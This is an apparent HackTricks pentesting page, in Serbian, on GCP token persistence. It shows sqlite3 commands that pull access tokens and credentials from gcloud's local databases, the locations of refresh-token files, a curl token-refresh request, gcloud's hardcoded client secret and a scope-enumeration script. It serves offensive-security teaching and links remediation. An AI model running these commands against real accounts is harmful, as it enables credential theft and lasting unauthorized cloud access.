# GCP - Token Persistence

{{#include ../../../banners/hacktricks-training.md}}

### Tokeni autentifikovanih korisnika

Da biste dobili **trenutni token** korisnika, možete pokrenuti:
```bash
sqlite3 $HOME/.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='<email>';"
```
Proverite na ovoj stranici kako da **direktno koristite ovaj token koristeći gcloud**:

{{#ref}}
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#gcp
{{#endref}}

Da biste dobili detalje za **generisanje novog pristupnog tokena**, pokrenite:
```bash
sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where account_id='<email>';"
```
Takođe je moguće pronaći refresh tokene u **`$HOME/.config/gcloud/application_default_credentials.json`** i u **`$HOME/.config/gcloud/legacy_credentials/*/adc.json`**.

Da biste dobili novi osveženi pristupni token sa **refresh tokenom**, ID-jem klijenta i tajnom klijenta, pokrenite:
```bash
curl -s --data client_id=<client_id> --data client_secret=<client_secret> --data grant_type=refresh_token --data refresh_token=<refresh_token> --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token
```
Važenje refresh tokena može se upravljati u **Admin** > **Security** > **Google Cloud session control**, a prema zadanim postavkama postavljeno je na 16h, iako se može postaviti da nikada ne istekne:

<figure><img src="../../../images/image (11).png" alt=""><figcaption></figcaption></figure>

### Auth flow

Tok autentifikacije kada se koristi nešto poput `gcloud auth login` otvorit će prozor u pregledniku, a nakon prihvatanja svih opsega, preglednik će poslati zahtev kao što je ovaj na http port otvoren od strane alata:
```
/?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1
```
Zatim, gcloud će koristiti stanje i kod sa nekim hardkodiranim `client_id` (`32555940559.apps.googleusercontent.com`) i **`client_secret`** (`ZmssLNjJy2998hD4CTg2ejr2`) da dobije **konačne podatke o refresh tokenu**.

> [!CAUTION]
> Imajte na umu da je komunikacija sa localhost-om u HTTP-u, tako da je moguće presresti podatke da bi se dobio refresh token, međutim, ovi podaci su validni samo 1 put, tako da bi to bilo beskorisno, lakše je jednostavno pročitati refresh token iz datoteke.

### OAuth Scopes

Možete pronaći sve Google scope-ove na [https://developers.google.com/identity/protocols/oauth2/scopes](https://developers.google.com/identity/protocols/oauth2/scopes) ili ih dobiti izvršavanjem:
```bash
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u
```
Moguće je videti koje opsege aplikacija koja **`gcloud`** koristi za autentifikaciju može podržati pomoću ovog skripta:
```bash
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
echo -ne "Testing $scope         \r"
if ! curl -v "https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http%3A%2F%2Flocalhost%3A8085%2F&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+$scope+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=AjvFqBW5XNIw3VADagy5pvUSPraLQu&access_type=offline&code_challenge=IOk5F08WLn5xYPGRAHP9CTGHbLFDUElsP551ni2leN4&code_challenge_method=S256" 2>&1 | grep -q "error"; then
echo ""
echo $scope
fi
done
```
Nakon izvršavanja, provereno je da ova aplikacija podržava ove opsege:
```
https://www.googleapis.com/auth/appengine.admin
https://www.googleapis.com/auth/bigquery
https://www.googleapis.com/auth/cloud-platform
https://www.googleapis.com/auth/compute
https://www.googleapis.com/auth/devstorage.full_control
https://www.googleapis.com/auth/drive
https://www.googleapis.com/auth/userinfo.email
```
zanimljivo je videti kako ova aplikacija podržava **`drive`** opseg, što bi moglo omogućiti korisniku da eskalira sa GCP na Workspace ako napadač uspe da primora korisnika da generiše token sa ovim opsegom.

**Proverite kako da** [**zloupotrebite ovo ovde**](../gcp-to-workspace-pivoting/index.html#abusing-gcloud)**.**

### Računi usluga

Baš kao i kod autentifikovanih korisnika, ako uspete da **kompromitujete privatni ključ** računa usluge, moći ćete da **pristupite njemu obično koliko god želite**.\
Međutim, ako ukradete **OAuth token** računa usluge, to može biti još zanimljivije, jer, čak i ako su ovi tokeni po defaultu korisni samo sat vremena, ako **žrtva obriše privatni API ključ, OAuth token će i dalje biti važeći dok ne istekne**.

### Metapodaci

Očigledno, sve dok ste unutar mašine koja radi u GCP okruženju, moći ćete da **pristupite računu usluge povezanom sa tom mašinom kontaktirajući metapodatkovni krajnji tačku** (napomena da su Oauth tokeni kojima možete pristupiti na ovoj krajnjoj tački obično ograničeni opsegom).

### Remedijacije

Neke remedijacije za ove tehnike su objašnjene u [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2)

### Reference

- [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-1](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-1)
- [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2)

{{#include ../../../banners/hacktricks-training.md}}
